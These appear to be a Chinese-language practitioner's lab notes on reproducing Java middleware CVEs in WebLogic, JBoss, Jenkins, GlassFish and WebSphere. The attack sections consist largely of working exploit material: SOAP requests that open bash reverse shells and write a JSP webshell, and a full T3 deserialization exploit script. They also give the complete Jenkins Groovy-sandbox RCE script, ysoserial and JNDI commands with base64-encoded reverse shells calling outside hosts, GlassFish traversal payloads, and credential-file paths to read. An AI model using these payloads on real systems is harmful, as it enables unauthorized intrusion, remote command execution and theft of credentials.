- Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
-
影响版本
- 10.3.6
-
复现
-
靶场
- vulhub weblogic/CVE-2017-10271
- 6,这个靶场两个 g
-
访问 7001,出现 404 页面即成功开启容器
-
经过工具检测存在无回显命令执行
-
-
-
直接捉包,将数据包改为以下反弹 shell 数据包即可
-
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.155.147:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
-
-
成功 getshell
-
-
-
也可以直接上传 war 包拿到 shell
-
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.155.147:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
- 访问后门地址
http://your-ip:7001/bea_wls_internal/test.jsp
-
-
-
-
-
T3 反序列化(CVE-2018- 2628)
-
介绍
- Weblogic Server 中的 RMI 通信使用 T3 协议在 Weblogic Server 和其它 Java 程序(客户端或者其它 Weblogic Server 实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个 Java 虚拟机(JVM)中,并创建 T3 协议通信连接, 将流量传输到 Java 虚拟机. T3 协议在开放 WebLogic 控制台端口的应用上默认开启. 攻击者可以通过 T3 协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的 weblogic 组件的远程代码执行攻击。
-
影响版本
- Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
- Weblogic 10.3.6.0
-
复现
-
经过工具检测存在无回显命令执行
-
-
-
攻击者服务器启动 JRMP 服务,目的是为了让 weblogic 服务器远程调用
-
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" #8888为开启JRMP服务的端口号 #Jdk7u21为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可
-
-
-
生成目标服务器连接攻击者服务器的 payload
-
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.96.64.184:8888 | xxd -p | tr -d $'\n' && echo
-
-
-
更改 exp.py
-
poc.py #!/usr/bin/env python3 #coding=utf-8 # # Created Time: Wed 19 Jul 2017 01:47:53 AM CST # # FileName: weblogic_poc.py # # Description: # # ChangeLog: thanks iswin for the template # -*- coding: utf-8 -*- import socket import time import re VUL=['CVE-2018-2628'] #remote ip:192.168.10.50 PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707735000a556e6963617374526566000c34372e39362e36342e313834000022b8000000006f39285400000000000000000000000000000078'] VER_SIG=['\\$Proxy[0-9]+'] def t3handshake(sock,server_addr): sock.connect(server_addr) sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) time.sleep(1) sock.recv(1024) print('handshake successful') def buildT3RequestObject(sock,port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(bytes.fromhex(d)) time.sleep(2) print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) sock.send(bytes.fromhex(payload)) time.sleep(2) sock.send(bytes.fromhex(payload)) res = b'' try: while True: res += sock.recv(4096) time.sleep(0.1) except Exception as e: pass return res def checkVul(res,server_addr,index): p=re.findall(VER_SIG[index], res.decode(), re.S) if len(p)>0: print('%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])) else: print('%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])) def run(dip,dport,index): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 sock.settimeout(15) server_addr = (dip, dport) t3handshake(sock,server_addr) buildT3RequestObject(sock,dport) rs=sendEvilObjData(sock,PAYLOAD[index]) print('rs',rs) checkVul(rs,server_addr,index) if __name__=="__main__": #dip = '218.1.102.99' #dip = '10.65.46.125' #dip = '192.168.3.216' dip = '192.168.155.147' dport = 7001 run(dip,7001,0) # for i in range(0,len(VUL)): # run(dip,dport,i)
-
将生成的 payload 替换下
-
-
-
再替换下漏洞服务器的 ip 及端口即可
-
-
-
-
启动监听
nc -lvvp 5566
,执行脚本,成功反弹 shell-
-
-
-
-
-
二次反序列化 CVE-2021-2394
-
介绍
- 攻击者利用 RMI 绕过 weblogic 黑名单限制,将加载的内容利用 readObject 解析,造成反序列化漏洞,该漏洞主要由于 T3 协议触发,所有开放 weblogic 控制台 7001 端口,默认开启 T3 服务,攻击者发送构造好的 T3 协议数据,获取目标服务器的权限。
- Oracle Fusion Middleware(Oracle 融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。
- RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
- T3 协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。
- 攻击过程:在自己主机中启动 JRMP Server 服务并且开启监听,利用 JRMP Client 生成一段 payload payload 中已经设置了攻击者服务器 ip 及 JRMPListener 监听的端口 ,利用漏洞 exp 脚本,将 payload 发送到有漏洞的 weblogic 服务器中 ,weblogic 服务器接收到 payload 后,反序列化 payload,去连接 JRMP Server 服务器,两者建立通讯,建立通讯后,JRMP Server 服务会发送一段可执行命令的 payload ,从而达到任意代码执行的操作
- 默认端口:7001
-
影响版本
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
-
复现
-
靶场
- vulfocus/weblogic-cve_2021_2394
- 123.58.224.8:30534 30534:7001
-
服务端启动监听
-
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzkuMTg2LjgwLzU1NjYgMCA+JjE}{base64,-d}{bash,-i}" -A 43.139.186.80
-
-
-
触发监听
-
payload:
java -jar CVE_2021_2394.jar 123.58.224.8 30515 ldap://43.139.186.80:1389/ixa4cd
-
-
-
-
远程命令执行漏洞 CVE-2023-21839
-
介绍
- WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于 Weblogic IIOP/T3 协议存在缺陷,当 IIOP/T3 协议开启时,允许未经身份验证的攻击者通过 IIOP/T3 协议网络访问攻击存在安全风险的 WebLogic Server,漏洞利用成功 WebLogic Server 可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
-
漏洞危害
-
攻击者成功利用此漏洞后攻击者可以接管 WebLogic 服务器,并执行任意命令。
Weblogic T3/IIOP 反序列化命令执行漏洞
Weblogic t3/iiop 协议支持远程绑定对象 bind 到服务端。并且可以通过 lookup 查看,代码:c.lookup("xxxxxx");。
当远程对象继承自 OpaqueReference 时,lookup 查看远程对象时,服务端会调用远程对象 getReferent 方法。
weblogic.deployment.jms.ForeignOpaqueReference 继承自 OpaqueReference 并且实现了 getReferent 方法,并且存在 retVal = context.lookup(this.remoteJNDIName)实现,故可以通过 rmi/ldap 远程协议进行远程命令执行。
-
-
影响版本
- Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
- Weblogic 12.2.1.3.0
-
复现
-
靶场:
- vuihub
- 7000-》7001
-
直接访问控制台
http://192.168.155.147:7000/console/
-
-
-
启动 ldap 服务
- 我一直在找 JNDIExploit-1.3-SNAPSHOT.jar 这个 jar 包,但是他的目的是启动 ldap 服务的,不知道能不能用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 来代替启动,不是很懂
-
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwID4mMQ}{base64,-d}{bash,-i}" -A 47.96.64.184
-
-
利用工具也没有找到,那些工具在 github 好像都下架了,但是有一款 go 语言编写的项目,我自己就尝试用 go 语言进行打包使用,不知道反正总的下来复现并没有成功
-
工具找到了,复现下,还是老样子,无语了
-
-
-
JBoss
-
介绍
- 通常漏洞端口 1098,1099,4444,445,8080,8009,8083,8093
-
反序列化
-
自动化工具扫描
- 名称:jboss 综合利用工具 by:小黑
-
-
CVE-2017-12149
-
介绍
- 厂商 Redhat 发布了一个 JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现 JBOSSAS 6.x 也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权
-
影响版本
- 5.x 和 6.x 版本
-
复现
-
靶场
- /vulhub/jboss/CVE-2017-12149
-
访问首页,进入 console
-
-
-
爆破弱口令的得到 admin/vulhub
-
-
-
生成序列化数据的 poc.ser 文件
-
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2Ig}|{base64,-d}|{bash,-i}" > poc.ser 其中base64解码为echo "bash -i >& /dev/tcp/192.168.58.224/5566"
-
-
-
攻击者监听 nc 的 5566 端口
nc -lvvp 5566
-
发送攻击载荷
-
curl http://192.168.58.147:8080/invoker/readonly --data-binary @poc.ser
- 唉,可能是 java 版本的原因吧,能成就成吧,结束了
-
-
直接使用自动化工具
-
-
-
-
-
jmx 组件反序列化漏洞(CVE-2015-7501)
-
介绍
- JBoss 中/invoker/JMXInvokerServlet 路径对外开放,JBoss 的 jmx 组件支持反序列化。JBoss 在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们利用 Apache Commons Collections 中的 Gadget 执行任意代码。
-
影响版本
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
-
复现
-
靶场
- /vulhub/jboss/JMXInvokerServlet-deserialization
- 8080->8080/tcp,9990->9990/tcp
-
直接访问
http://192.168.155.147:8080/invoker/JMXInvokerServlet
有文件下载则存在该漏洞-
-
-
直接上工具即可
-
-
-
-
-
JMS 反序列化漏洞(CVE-2017-7504)
-
介绍
- Red Hat JBoss Application Server(AS,也称 WildFly)是美国红帽(Red Hat)公司的一款基于 JavaEE 的开源的应用服务器,它具有启动超快、轻量、模块化设计、热部署和并行部署、简洁管理、域管理及第一类元件等特性。 Red Hat Jboss AS 4.X 及之前的版本中的 JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
-
影响版本
- JBoss AS 4.x 及之前版本
-
复现
-
靶场
- /vulhub/jboss/CVE-2017-7504
- 8080
-
直接访问
http://192.168.155.147:8080/jbossmq-httpil/HTTPServerILServlet
出现以下页面则存在漏洞-
-
-
直接上工具即可
-
-
-
-
-
Jenkins
-
介绍
-
Jenkins 是一个广泛使用的开源自动化服务器,主要用于持续集成和持续交付(CI/CD)流程。它提供了一个灵活的平台,可以自动化各种任务,从简单的代码构建到复杂的部署流程。Jenkins 支持多种编程语言和框架,可以通过丰富的插件生态系统进行扩展,使其能够集成各种开发工具和服务。
开发团队使用 Jenkins 来自动化软件开发的各个阶段,包括代码编译、测试执行、静态代码分析、部署和监控。它可以与版本控制系统(如 Git)集成,在代码变更时自动触发构建和测试流程。Jenkins 的可配置性强,支持分布式构建,能够处理大规模和复杂的项目。
通过使用 Jenkins,团队可以显著提高开发效率,减少人为错误,加快产品发布周期,并提高软件质量。它已成为许多组织 DevOps 实践中不可或缺的工具。
-
-
远程代码执行
-
CVE-2018-1000861
-
介绍
-
Jenkins 使用 Stapler 框架开发,其允许用户通过 URL PATH 来调用一次 public 方法。由于这个过程没有做限制,攻击者可以构造一些特殊的 PATH 来执行一些敏感的 Java 方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过 Groovy 沙盒导致未授权用户可执行任意命令:Jenkins 在沙盒中执行 Groovy 前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过 Meta-Programming 的方式,在检查这个步骤时执行任意命令。
-
-
影响版本
- Jenkins 主版本 <= 2.153
Jenkins LTS 版本 <= 2.138.3
- Jenkins 主版本 <= 2.153
-
复现
-
靶场
- vulhub jenkins/CVE-2018-1000861
-
页面显示
- 5000
- 8080
-
-
直接使用工具,读取任意文件
-
-
-
-
经工具测试存在无回显命令执行
-
-
-
构造反弹 shell 的 payload
-
原始payload: bash -c {echo,bash -i >& /dev/tcp/192.168.58.224/5566 0>&1}|{base64,-d}|{bash,-i} 经过base64加工后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}
-
-
使用脚本反弹 shell 的 payload
-
python 1.py http://192.168.58.147:8080 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}"
-
#!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) # import sys import requests from enum import Enum # remove bad SSL warnings try: requests.packages.urllib3.disable_warnings() except: pass endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' class mode(Enum): ACL_PATCHED = 0 NOT_JENKINS = 1 READ_ENABLE = 2 READ_BYPASS = 3 ENTRY_NOTFOUND = 999 def usage(): print(''' Usage: python exp.py <url> <cmd> ''') def _log(msg, fail=False): nb = '[*]' if fail: nb = '[-]' print('%s %s' % (nb, msg)) def _get(url, params=None): r = requests.get(url, verify=False, params=params) return r.status_code, r.content def _add_bypass(url): return url + 'securityRealm/user/admin/' def check(url): flag, accessible = mode.ACL_PATCHED, False # check ANONYMOUS_READ status, content = _get(url) if status == 200 and b'adjuncts' in content: flag, accessible = mode.READ_ENABLE, True _log('ANONYMOUS_READ enable!') elif status == 403: _log('ANONYMOUS_READ disable!') # check ACL bypass, CVE-2018-1000861 status, content = _get(_add_bypass(url)) if status == 200 and b'adjuncts' in content: flag, accessible = mode.READ_BYPASS, True else: flag = mode.NOT_JENKINS # check entry point, CVE-2019-1003005 if accessible: if flag is mode.READ_BYPASS: url = _add_bypass(url) status, content = _get(url + endpoint) if status == 404: flag = mode.ENTRY_NOTFOUND return flag def exploit(url, cmd): payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('utf-8').hex() params = { 'sandbox': True, 'value': payload } status, content = _get(url + endpoint, params) if status == 200: _log('Exploit success!(it should be :P)') elif status == 405: _log('It seems Jenkins has patched the RCE gadget :(') else: _log('Exploit fail with HTTP status [%d]' % status, fail=True) if b'stack trace' in content: for _ in content.splitlines(): if _.startswith(b'Caused:'): _log(_.decode('utf-8'), fail=True) if __name__ == '__main__': if len(sys.argv) != 3: usage() exit() url = sys.argv[1].rstrip('/') + '/' cmd = sys.argv[2] flag = check(url) if flag is mode.ACL_PATCHED: _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True) elif flag is mode.NOT_JENKINS: _log('Is this Jenkins?', fail=True) elif flag is mode.READ_ENABLE: exploit(url, cmd) elif flag is mode.READ_BYPASS: _log('Bypass with CVE-2018-1000861!') exploit(_add_bypass(url), cmd) else: _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
-
-
-
-
-
-
CVE-2017-1000353
-
介绍
-
Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins 的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
该漏洞存在于使用 HTTP 协议的双向通信通道的具体实现代码中,Jenkins 利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。
-
-
影响版本
- 所有 Jenkins 主版本均受到影响(包括 <=2.56 版本)
- 所有 Jenkins LTS 均受到影响( 包括 <=2.46.1 版本)
-
复现
-
靶场
- vulhub jenkins/CVE-2017-1000353
-
8080 端口页面
-
-
-
生成序列化字符串 jenkins_poc.ser
-
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA}|{base64,-d}|{bash,-i}"
-
-
-
发送载荷
python exploit.py http://192.168.58.224:8080 jenkins_poc.ser
,成功监听-
-
-
-
-
GlassFish
-
任意文件读取
-
介绍
- glassfish 是一款 java 编写的跨平台的开源的应用服务器。2015 年 10 月,被爆出通用任意文件读取漏洞。利用这个漏洞,攻击者可读取服务器上任意文件。
-
影响版本
- 影响版本:4.0 至 4.1
-
复现
-
靶场
- vulfocus glassfish-4.1.0 文件读取
- 123.58.224.8:30527 30527:4848
-
直接使用 payload 读取任意文件
-
linux服务器poc: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd window服务器poc: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
-
-
-
敏感文件
-
linux敏感文件路径: /etc/issue 版本信息 /var/spool/cron/crontabs/root 定时任务 /etc/passwd /root/.bash_history bash环境下的命令执行历史记录 /root/.pgpass 记录连接postgressql服务器的密码 /root/.psql_history potgressql客户端的执行的sql语句历史记录 glassfish的敏感目录: domains/domain1/config/domain.xml 各种数据库密码位置 domains/domain1/config/admin-keyfile 后台密码存储位置
-
-
获取后台密码
-
https://123.58.224.8:30527/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
-
-
-
得出是 sha 加密,利用一些在线解密平台解密即可
-
-
WebSphere
-
介绍
- WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。
- 端口:9080—web(htp)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP 连接器端口等等。
漏洞探测在 8880 端口,后台是 9060 端口,解析是 9080 端口
-
复现
-
靶场
-
直接使用命令搭建即可
-
docker pull iscrosales/w·ebsphere7
-
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
-
-
-
-
反序列化漏洞(CVE-2015-7450)
-
影响版本
-
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2
-
-
直接访问 8880 端口页面
-
-
-
直接删工具即可
-
-
-
-
-
弱口令-上传 shell
-
影响版本
- 6.x 至 7.0 版本都有“默认用户标识 admin 登录”
-
访问后台地址
http://192.168.155.147:9060/ibm/console/unsecureLogon.jsp
-
-
-
上传 war 包
-
-
-
一直下一步,直到这里填写创建目录的地址
-
-
-
解析 war 包成功,点击保存到主配置中
-
-
启动 war 包,并启动连接哥斯拉
-
-
-
-
-
-
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于